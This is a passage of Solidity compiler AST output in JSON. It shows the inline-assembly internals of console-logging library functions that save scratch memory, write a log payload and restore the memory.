248874:9:22","nodeType":"YulBlock","src":"248874:9:22","statements":[{"nativeSrc":"248876:5:22","nodeType":"YulBreak","src":"248876:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"248862:6:22","nodeType":"YulIdentifier","src":"248862:6:22"},{"name":"w","nativeSrc":"248870:1:22","nodeType":"YulIdentifier","src":"248870:1:22"}],"functionName":{"name":"byte","nativeSrc":"248857:4:22","nodeType":"YulIdentifier","src":"248857:4:22"},"nativeSrc":"248857:15:22","nodeType":"YulFunctionCall","src":"248857:15:22"}],"functionName":{"name":"iszero","nativeSrc":"248850:6:22","nodeType":"YulIdentifier","src":"248850:6:22"},"nativeSrc":"248850:23:22","nodeType":"YulFunctionCall","src":"248850:23:22"},"nativeSrc":"248847:36:22","nodeType":"YulIf","src":"248847:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"248802:6:22","nodeType":"YulIdentifier","src":"248802:6:22"},{"kind":"number","nativeSrc":"248810:4:22","nodeType":"YulLiteral","src":"248810:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"248799:2:22","nodeType":"YulIdentifier","src":"248799:2:22"},"nativeSrc":"248799:16:22","nodeType":"YulFunctionCall","src":"248799:16:22"},"nativeSrc":"248792:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"248816:28:22","nodeType":"YulBlock","src":"248816:28:22","statements":[{"nativeSrc":"248818:24:22","nodeType":"YulAssignment","src":"248818:24:22","value":{"arguments":[{"name":"length","nativeSrc":"248832:6:22","nodeType":"YulIdentifier","src":"248832:6:22"},{"kind":"number","nativeSrc":"248840:1:22","nodeType":"YulLiteral","src":"248840:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"248828:3:22","nodeType":"YulIdentifier","src":"248828:3:22"},"nativeSrc":"248828:14:22","nodeType":"YulFunctionCall","src":"248828:14:22"},"variableNames":[{"name":"length","nativeSrc":"248818:6:22","nodeType":"YulIdentifier","src":"248818:6:22"}]}]},"pre":{"nativeSrc":"248796:2:22","nodeType":"YulBlock","src":"248796:2:22","statements":[]},"src":"248792:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"248909:3:22","nodeType":"YulIdentifier","src":"248909:3:22"},{"name":"length","nativeSrc":"248914:6:22","nodeType":"YulIdentifier","src":"248914:6:22"}],"functionName":{"name":"mstore","nativeSrc":"248902:6:22","nodeType":"YulIdentifier","src":"248902:6:22"},"nativeSrc":"248902:19:22","nodeType":"YulFunctionCall","src":"248902:19:22"},"nativeSrc":"248902:19:22","nodeType":"YulExpressionStatement","src":"248902:19:22"},{"nativeSrc":"248938:37:22","nodeType":"YulVariableDeclaration","src":"248938:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"248955:3:22","nodeType":"YulLiteral","src":"248955:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"248964:1:22","nodeType":"YulLiteral","src":"248964:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"248967:6:22","nodeType":"YulIdentifier","src":"248967:6:22"}],"functionName":{"name":"shl","nativeSrc":"248960:3:22","nodeType":"YulIdentifier","src":"248960:3:22"},"nativeSrc":"248960:14:22","nodeType":"YulFunctionCall","src":"248960:14:22"}],"functionName":{"name":"sub","nativeSrc":"248951:3:22","nodeType":"YulIdentifier","src":"248951:3:22"},"nativeSrc":"248951:24:22","nodeType":"YulFunctionCall","src":"248951:24:22"},"variables":[{"name":"shift","nativeSrc":"248942:5:22","nodeType":"YulTypedName","src":"248942:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"249003:3:22","nodeType":"YulIdentifier","src":"249003:3:22"},{"kind":"number","nativeSrc":"249008:4:22","nodeType":"YulLiteral","src":"249008:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"248999:3:22","nodeType":"YulIdentifier","src":"248999:3:22"},"nativeSrc":"248999:14:22","nodeType":"YulFunctionCall","src":"248999:14:22"},{"arguments":[{"name":"shift","nativeSrc":"249019:5:22","nodeType":"YulIdentifier","src":"249019:5:22"},{"arguments":[{"name":"shift","nativeSrc":"249030:5:22","nodeType":"YulIdentifier","src":"249030:5:22"},{"name":"w","nativeSrc":"249037:1:22","nodeType":"YulIdentifier","src":"249037:1:22"}],"functionName":{"name":"shr","nativeSrc":"249026:3:22","nodeType":"YulIdentifier","src":"249026:3:22"},"nativeSrc":"249026:13:22","nodeType":"YulFunctionCall","src":"249026:13:22"}],"functionName":{"name":"shl","nativeSrc":"249015:3:22","nodeType":"YulIdentifier","src":"249015:3:22"},"nativeSrc":"249015:25:22","nodeType":"YulFunctionCall","src":"249015:25:22"}],"functionName":{"name":"mstore","nativeSrc":"248992:6:22","nodeType":"YulIdentifier","src":"248992:6:22"},"nativeSrc":"248992:49:22","nodeType":"YulFunctionCall","src":"248992:49:22"},"nativeSrc":"248992:49:22","nodeType":"YulExpressionStatement","src":"248992:49:22"}]},"name":"writeString","nativeSrc":"248713:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"248734:3:22","nodeType":"YulTypedName","src":"248734:3:22","type":""},{"name":"w","nativeSrc":"248739:1:22","nodeType":"YulTypedName","src":"248739:1:22","type":""}],"src":"248713:342:22"},{"nativeSrc":"249068:17:22","nodeType":"YulAssignment","src":"249068:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"249080:4:22","nodeType":"YulLiteral","src":"249080:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"249074:5:22","nodeType":"YulIdentifier","src":"249074:5:22"},"nativeSrc":"249074:11:22","nodeType":"YulFunctionCall","src":"249074:11:22"},"variableNames":[{"name":"m0","nativeSrc":"249068:2:22","nodeType":"YulIdentifier","src":"249068:2:22"}]},{"nativeSrc":"249098:17:22","nodeType":"YulAssignment","src":"249098:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"249110:4:22","nodeType":"YulLiteral","src":"249110:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"249104:5:22","nodeType":"YulIdentifier","src":"249104:5:22"},"nativeSrc":"249104:11:22","nodeType":"YulFunctionCall","src":"249104:11:22"},"variableNames":[{"name":"m1","nativeSrc":"249098:2:22","nodeType":"YulIdentifier","src":"249098:2:22"}]},{"nativeSrc":"249128:17:22","nodeType":"YulAssignment","src":"249128:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"249140:4:22","nodeType":"YulLiteral","src":"249140:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"249134:5:22","nodeType":"YulIdentifier","src":"249134:5:22"},"nativeSrc":"249134:11:22","nodeType":"YulFunctionCall","src":"249134:11:22"},"variableNames":[{"name":"m2","nativeSrc":"249128:2:22","nodeType":"YulIdentifier","src":"249128:2:22"}]},{"nativeSrc":"249158:17:22","nodeType":"YulAssignment","src":"249158:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"249170:4:22","nodeType":"YulLiteral","src":"249170:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"249164:5:22","nodeType":"YulIdentifier","src":"249164:5:22"},"nativeSrc":"249164:11:22","nodeType":"YulFunctionCall","src":"249164:11:22"},"variableNames":[{"name":"m3","nativeSrc":"249158:2:22","nodeType":"YulIdentifier","src":"249158:2:22"}]},{"nativeSrc":"249188:17:22","nodeType":"YulAssignment","src":"249188:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"249200:4:22","nodeType":"YulLiteral","src":"249200:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"249194:5:22","nodeType":"YulIdentifier","src":"249194:5:22"},"nativeSrc":"249194:11:22","nodeType":"YulFunctionCall","src":"249194:11:22"},"variableNames":[{"name":"m4","nativeSrc":"249188:2:22","nodeType":"YulIdentifier","src":"249188:2:22"}]},{"nativeSrc":"249218:17:22","nodeType":"YulAssignment","src":"249218:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"249230:4:22","nodeType":"YulLiteral","src":"249230:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"249224:5:22","nodeType":"YulIdentifier","src":"249224:5:22"},"nativeSrc":"249224:11:22","nodeType":"YulFunctionCall","src":"249224:11:22"},"variableNames":[{"name":"m5","nativeSrc":"249218:2:22","nodeType":"YulIdentifier","src":"249218:2:22"}]},{"nativeSrc":"249248:17:22","nodeType":"YulAssignment","src":"249248:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"249260:4:22","nodeType":"YulLiteral","src":"249260:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"249254:5:22","nodeType":"YulIdentifier","src":"249254:5:22"},"nativeSrc":"249254:11:22","nodeType":"YulFunctionCall","src":"249254:11:22"},"variableNames":[{"name":"m6","nativeSrc":"249248:2:22","nodeType":"YulIdentifier","src":"249248:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"249348:4:22","nodeType":"YulLiteral","src":"249348:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"249354:10:22","nodeType":"YulLiteral","src":"249354:10:22","type":"","value":"0xade052c7"}],"functionName":{"name":"mstore","nativeSrc":"249341:6:22","nodeType":"YulIdentifier","src":"249341:6:22"},"nativeSrc":"249341:24:22","nodeType":"YulFunctionCall","src":"249341:24:22"},"nativeSrc":"249341:24:22","nodeType":"YulExpressionStatement","src":"249341:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"249385:4:22","nodeType":"YulLiteral","src":"249385:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"249391:2:22","nodeType":"YulIdentifier","src":"249391:2:22"}],"functionName":{"name":"mstore","nativeSrc":"249378:6:22","nodeType":"YulIdentifier","src":"249378:6:22"},"nativeSrc":"249378:16:22","nodeType":"YulFunctionCall","src":"249378:16:22"},"nativeSrc":"249378:16:22","nodeType":"YulExpressionStatement","src":"249378:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"249414:4:22","nodeType":"YulLiteral","src":"249414:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"249420:2:22","nodeType":"YulIdentifier","src":"249420:2:22"}],"functionName":{"name":"mstore","nativeSrc":"249407:6:22","nodeType":"YulIdentifier","src":"249407:6:22"},"nativeSrc":"249407:16:22","nodeType":"YulFunctionCall","src":"249407:16:22"},"nativeSrc":"249407:16:22","nodeType":"YulExpressionStatement","src":"249407:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"249443:4:22","nodeType":"YulLiteral","src":"249443:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"249449:2:22","nodeType":"YulIdentifier","src":"249449:2:22"}],"functionName":{"name":"mstore","nativeSrc":"249436:6:22","nodeType":"YulIdentifier","src":"249436:6:22"},"nativeSrc":"249436:16:22","nodeType":"YulFunctionCall","src":"249436:16:22"},"nativeSrc":"249436:16:22","nodeType":"YulExpressionStatement","src":"249436:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"249472:4:22","nodeType":"YulLiteral","src":"249472:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"249478:4:22","nodeType":"YulLiteral","src":"249478:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"249465:6:22","nodeType":"YulIdentifier","src":"249465:6:22"},"nativeSrc":"249465:18:22","nodeType":"YulFunctionCall","src":"249465:18:22"},"nativeSrc":"249465:18:22","nodeType":"YulExpressionStatement","src":"249465:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"249508:4:22","nodeType":"YulLiteral","src":"249508:4:22","type":"","value":"0xa0"},{"name":"p3","nativeSrc":"249514:2:22","nodeType":"YulIdentifier","src":"249514:2:22"}],"functionName":{"name":"writeString","nativeSrc":"249496:11:22","nodeType":"YulIdentifier","src":"249496:11:22"},"nativeSrc":"249496:21:22","nodeType":"YulFunctionCall","src":"249496:21:22"},"nativeSrc":"249496:21:22","nodeType":"YulExpressionStatement","src":"249496:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41980,"isOffset":false,"isSlot":false,"src":"249068:2:22","valueSize":1},{"declaration":41983,"isOffset":false,"isSlot":false,"src":"249098:2:22","valueSize":1},{"declaration":41986,"isOffset":false,"isSlot":false,"src":"249128:2:22","valueSize":1},{"declaration":41989,"isOffset":false,"isSlot":false,"src":"249158:2:22","valueSize":1},{"declaration":41992,"isOffset":false,"isSlot":false,"src":"249188:2:22","valueSize":1},{"declaration":41995,"isOffset":false,"isSlot":false,"src":"249218:2:22","valueSize":1},{"declaration":41998,"isOffset":false,"isSlot":false,"src":"249248:2:22","valueSize":1},{"declaration":41970,"isOffset":false,"isSlot":false,"src":"249391:2:22","valueSize":1},{"declaration":41972,"isOffset":false,"isSlot":false,"src":"249420:2:22","valueSize":1},{"declaration":41974,"isOffset":false,"isSlot":false,"src":"249449:2:22","valueSize":1},{"declaration":41976,"isOffset":false,"isSlot":false,"src":"249514:2:22","valueSize":1}],"id":42000,"nodeType":"InlineAssembly","src":"248690:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":42002,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"249552:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":42003,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"249558:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":42001,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"249536:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":42004,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"249536:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":42005,"nodeType":"ExpressionStatement","src":"249536:27:22"},{"AST":{"nativeSrc":"249582:214:22","nodeType":"YulBlock","src":"249582:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"249603:4:22","nodeType":"YulLiteral","src":"249603:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"249609:2:22","nodeType":"YulIdentifier","src":"249609:2:22"}],"functionName":{"name":"mstore","nativeSrc":"249596:6:22","nodeType":"YulIdentifier","src":"249596:6:22"},"nativeSrc":"249596:16:22","nodeType":"YulFunctionCall","src":"249596:16:22"},"nativeSrc":"249596:16:22","nodeType":"YulExpressionStatement","src":"249596:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"249632:4:22","nodeType":"YulLiteral","src":"249632:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"249638:2:22","nodeType":"YulIdentifier","src":"249638:2:22"}],"functionName":{"name":"mstore","nativeSrc":"249625:6:22","nodeType":"YulIdentifier","src":"249625:6:22"},"nativeSrc":"249625:16:22","nodeType":"YulFunctionCall","src":"249625:16:22"},"nativeSrc":"249625:16:22","nodeType":"YulExpressionStatement","src":"249625:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"249661:4:22","nodeType":"YulLiteral","src":"249661:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"249667:2:22","nodeType":"YulIdentifier","src":"249667:2:22"}],"functionName":{"name":"mstore","nativeSrc":"249654:6:22","nodeType":"YulIdentifier","src":"249654:6:22"},"nativeSrc":"249654:16:22","nodeType":"YulFunctionCall","src":"249654:16:22"},"nativeSrc":"249654:16:22","nodeType":"YulExpressionStatement","src":"249654:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"249690:4:22","nodeType":"YulLiteral","src":"249690:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"249696:2:22","nodeType":"YulIdentifier","src":"249696:2:22"}],"functionName":{"name":"mstore","nativeSrc":"249683:6:22","nodeType":"YulIdentifier","src":"249683:6:22"},"nativeSrc":"249683:16:22","nodeType":"YulFunctionCall","src":"249683:16:22"},"nativeSrc":"249683:16:22","nodeType":"YulExpressionStatement","src":"249683:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"249719:4:22","nodeType":"YulLiteral","src":"249719:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"249725:2:22","nodeType":"YulIdentifier","src":"249725:2:22"}],"functionName":{"name":"mstore","nativeSrc":"249712:6:22","nodeType":"YulIdentifier","src":"249712:6:22"},"nativeSrc":"249712:16:22","nodeType":"YulFunctionCall","src":"249712:16:22"},"nativeSrc":"249712:16:22","nodeType":"YulExpressionStatement","src":"249712:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"249748:4:22","nodeType":"YulLiteral","src":"249748:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"249754:2:22","nodeType":"YulIdentifier","src":"249754:2:22"}],"functionName":{"name":"mstore","nativeSrc":"249741:6:22","nodeType":"YulIdentifier","src":"249741:6:22"},"nativeSrc":"249741:16:22","nodeType":"YulFunctionCall","src":"249741:16:22"},"nativeSrc":"249741:16:22","nodeType":"YulExpressionStatement","src":"249741:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"249777:4:22","nodeType":"YulLiteral","src":"249777:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"249783:2:22","nodeType":"YulIdentifier","src":"249783:2:22"}],"functionName":{"name":"mstore","nativeSrc":"249770:6:22","nodeType":"YulIdentifier","src":"249770:6:22"},"nativeSrc":"249770:16:22","nodeType":"YulFunctionCall","src":"249770:16:22"},"nativeSrc":"249770:16:22","nodeType":"YulExpressionStatement","src":"249770:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41980,"isOffset":false,"isSlot":false,"src":"249609:2:22","valueSize":1},{"declaration":41983,"isOffset":false,"isSlot":false,"src":"249638:2:22","valueSize":1},{"declaration":41986,"isOffset":false,"isSlot":false,"src":"249667:2:22","valueSize":1},{"declaration":41989,"isOffset":false,"isSlot":false,"src":"249696:2:22","valueSize":1},{"declaration":41992,"isOffset":false,"isSlot":false,"src":"249725:2:22","valueSize":1},{"declaration":41995,"isOffset":false,"isSlot":false,"src":"249754:2:22","valueSize":1},{"declaration":41998,"isOffset":false,"isSlot":false,"src":"249783:2:22","valueSize":1}],"id":42006,"nodeType":"InlineAssembly","src":"249573:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"248477:3:22","parameters":{"id":41977,"nodeType":"ParameterList","parameters":[{"constant":false,"id":41970,"mutability":"mutable","name":"p0","nameLocation":"248489:2:22","nodeType":"VariableDeclaration","scope":42008,"src":"248481:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":41969,"name":"uint256","nodeType":"ElementaryTypeName","src":"248481:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":41972,"mutability":"mutable","name":"p1","nameLocation":"248498:2:22","nodeType":"VariableDeclaration","scope":42008,"src":"248493:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":41971,"name":"bool","nodeType":"ElementaryTypeName","src":"248493:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":41974,"mutability":"mutable","name":"p2","nameLocation":"248510:2:22","nodeType":"VariableDeclaration","scope":42008,"src":"248502:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":41973,"name":"address","nodeType":"ElementaryTypeName","src":"248502:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":41976,"mutability":"mutable","name":"p3","nameLocation":"248522:2:22","nodeType":"VariableDeclaration","scope":42008,"src":"248514:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41975,"name":"bytes32","nodeType":"ElementaryTypeName","src":"248514:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"248480:45:22"},"returnParameters":{"id":41978,"nodeType":"ParameterList","parameters":[],"src":"248540:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":42042,"nodeType":"FunctionDefinition","src":"249808:780:22","nodes":[],"body":{"id":42041,"nodeType":"Block","src":"249877:711:22","nodes":[],"statements":[{"assignments":[42020],"declarations":[{"constant":false,"id":42020,"mutability":"mutable","name":"m0","nameLocation":"249895:2:22","nodeType":"VariableDeclaration","scope":42041,"src":"249887:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42019,"name":"bytes32","nodeType":"ElementaryTypeName","src":"249887:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42021,"nodeType":"VariableDeclarationStatement","src":"249887:10:22"},{"assignments":[42023],"declarations":[{"constant":false,"id":42023,"mutability":"mutable","name":"m1","nameLocation":"249915:2:22","nodeType":"VariableDeclaration","scope":42041,"src":"249907:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42022,"name":"bytes32","nodeType":"ElementaryTypeName","src":"249907:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42024,"nodeType":"VariableDeclarationStatement","src":"249907:10:22"},{"assignments":[42026],"declarations":[{"constant":false,"id":42026,"mutability":"mutable","name":"m2","nameLocation":"249935:2:22","nodeType":"VariableDeclaration","scope":42041,"src":"249927:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42025,"name":"bytes32","nodeType":"ElementaryTypeName","src":"249927:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42027,"nodeType":"VariableDeclarationStatement","src":"249927:10:22"},{"assignments":[42029],"declarations":[{"constant":false,"id":42029,"mutability":"mutable","name":"m3","nameLocation":"249955:2:22","nodeType":"VariableDeclaration","scope":42041,"src":"249947:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42028,"name":"bytes32","nodeType":"ElementaryTypeName","src":"249947:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42030,"nodeType":"VariableDeclarationStatement","src":"249947:10:22"},{"assignments":[42032],"declarations":[{"constant":false,"id":42032,"mutability":"mutable","name":"m4","nameLocation":"249975:2:22","nodeType":"VariableDeclaration","scope":42041,"src":"249967:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42031,"name":"bytes32","nodeType":"ElementaryTypeName","src":"249967:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42033,"nodeType":"VariableDeclarationStatement","src":"249967:10:22"},{"AST":{"nativeSrc":"249996:375:22","nodeType":"YulBlock","src":"249996:375:22","statements":[{"nativeSrc":"250010:17:22","nodeType":"YulAssignment","src":"250010:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"250022:4:22","nodeType":"YulLiteral","src":"250022:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"250016:5:22","nodeType":"YulIdentifier","src":"250016:5:22"},"nativeSrc":"250016:11:22","nodeType":"YulFunctionCall","src":"250016:11:22"},"variableNames":[{"name":"m0","nativeSrc":"250010:2:22","nodeType":"YulIdentifier","src":"250010:2:22"}]},{"nativeSrc":"250040:17:22","nodeType":"YulAssignment","src":"250040:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"250052:4:22","nodeType":"YulLiteral","src":"250052:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"250046:5:22","nodeType":"YulIdentifier","src":"250046:5:22"},"nativeSrc":"250046:11:22","nodeType":"YulFunctionCall","src":"250046:11:22"},"variableNames":[{"name":"m1","nativeSrc":"250040:2:22","nodeType":"YulIdentifier","src":"250040:2:22"}]},{"nativeSrc":"250070:17:22","nodeType":"YulAssignment","src":"250070:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"250082:4:22","nodeType":"YulLiteral","src":"250082:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"250076:5:22","nodeType":"YulIdentifier","src":"250076:5:22"},"nativeSrc":"250076:11:22","nodeType":"YulFunctionCall","src":"250076:11:22"},"variableNames":[{"name":"m2","nativeSrc":"250070:2:22","nodeType":"YulIdentifier","src":"250070:2:22"}]},{"nativeSrc":"250100:17:22","nodeType":"YulAssignment","src":"250100:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"250112:4:22","nodeType":"YulLiteral","src":"250112:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"250106:5:22","nodeType":"YulIdentifier","src":"250106:5:22"},"nativeSrc":"250106:11:22","nodeType":"YulFunctionCall","src":"250106:11:22"},"variableNames":[{"name":"m3","nativeSrc":"250100:2:22","nodeType":"YulIdentifier","src":"250100:2:22"}]},{"nativeSrc":"250130:17:22","nodeType":"YulAssignment","src":"250130:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"250142:4:22","nodeType":"YulLiteral","src":"250142:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"250136:5:22","nodeType":"YulIdentifier","src":"250136:5:22"},"nativeSrc":"250136:11:22","nodeType":"YulFunctionCall","src":"250136:11:22"},"variableNames":[{"name":"m4","nativeSrc":"250130:2:22","nodeType":"YulIdentifier","src":"250130:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"250228:4:22","nodeType":"YulLiteral","src":"250228:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"250234:10:22","nodeType":"YulLiteral","src":"250234:10:22","type":"","value":"0x69640b59"}],"functionName":{"name":"mstore","nativeSrc":"250221:6:22","nodeType":"YulIdentifier","src":"250221:6:22"},"nativeSrc":"250221:24:22","nodeType":"YulFunctionCall","src":"250221:24:22"},"nativeSrc":"250221:24:22","nodeType":"YulExpressionStatement","src":"250221:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"250265:4:22","nodeType":"YulLiteral","src":"250265:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"250271:2:22","nodeType":"YulIdentifier","src":"250271:2:22"}],"functionName":{"name":"mstore","nativeSrc":"250258:6:22","nodeType":"YulIdentifier","src":"250258:6:22"},"nativeSrc":"250258:16:22","nodeType":"YulFunctionCall","src":"250258:16:22"},"nativeSrc":"250258:16:22","nodeType":"YulExpressionStatement","src":"250258:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"250294:4:22","nodeType":"YulLiteral","src":"250294:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"250300:2:22","nodeType":"YulIdentifier","src":"250300:2:22"}],"functionName":{"name":"mstore","nativeSrc":"250287:6:22","nodeType":"YulIdentifier","src":"250287:6:22"},"nativeSrc":"250287:16:22","nodeType":"YulFunctionCall","src":"250287:16:22"},"nativeSrc":"250287:16:22","nodeType":"YulExpressionStatement","src":"250287:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"250323:4:22","nodeType":"YulLiteral","src":"250323:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"250329:2:22","nodeType":"YulIdentifier","src":"250329:2:22"}],"functionName":{"name":"mstore","nativeSrc":"250316:6:22","nodeType":"YulIdentifier","src":"250316:6:22"},"nativeSrc":"250316:16:22","nodeType":"YulFunctionCall","src":"250316:16:22"},"nativeSrc":"250316:16:22","nodeType":"YulExpressionStatement","src":"250316:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"250352:4:22","nodeType":"YulLiteral","src":"250352:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"250358:2:22","nodeType":"YulIdentifier","src":"250358:2:22"}],"functionName":{"name":"mstore","nativeSrc":"250345:6:22","nodeType":"YulIdentifier","src":"250345:6:22"},"nativeSrc":"250345:16:22","nodeType":"YulFunctionCall","src":"250345:16:22"},"nativeSrc":"250345:16:22","nodeType":"YulExpressionStatement","src":"250345:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42020,"isOffset":false,"isSlot":false,"src":"250010:2:22","valueSize":1},{"declaration":42023,"isOffset":false,"isSlot":false,"src":"250040:2:22","valueSize":1},{"declaration":42026,"isOffset":false,"isSlot":false,"src":"250070:2:22","valueSize":1},{"declaration":42029,"isOffset":false,"isSlot":false,"src":"250100:2:22","valueSize":1},{"declaration":42032,"isOffset":false,"isSlot":false,"src":"250130:2:22","valueSize":1},{"declaration":42010,"isOffset":false,"isSlot":false,"src":"250271:2:22","valueSize":1},{"declaration":42012,"isOffset":false,"isSlot":false,"src":"250300:2:22","valueSize":1},{"declaration":42014,"isOffset":false,"isSlot":false,"src":"250329:2:22","valueSize":1},{"declaration":42016,"isOffset":false,"i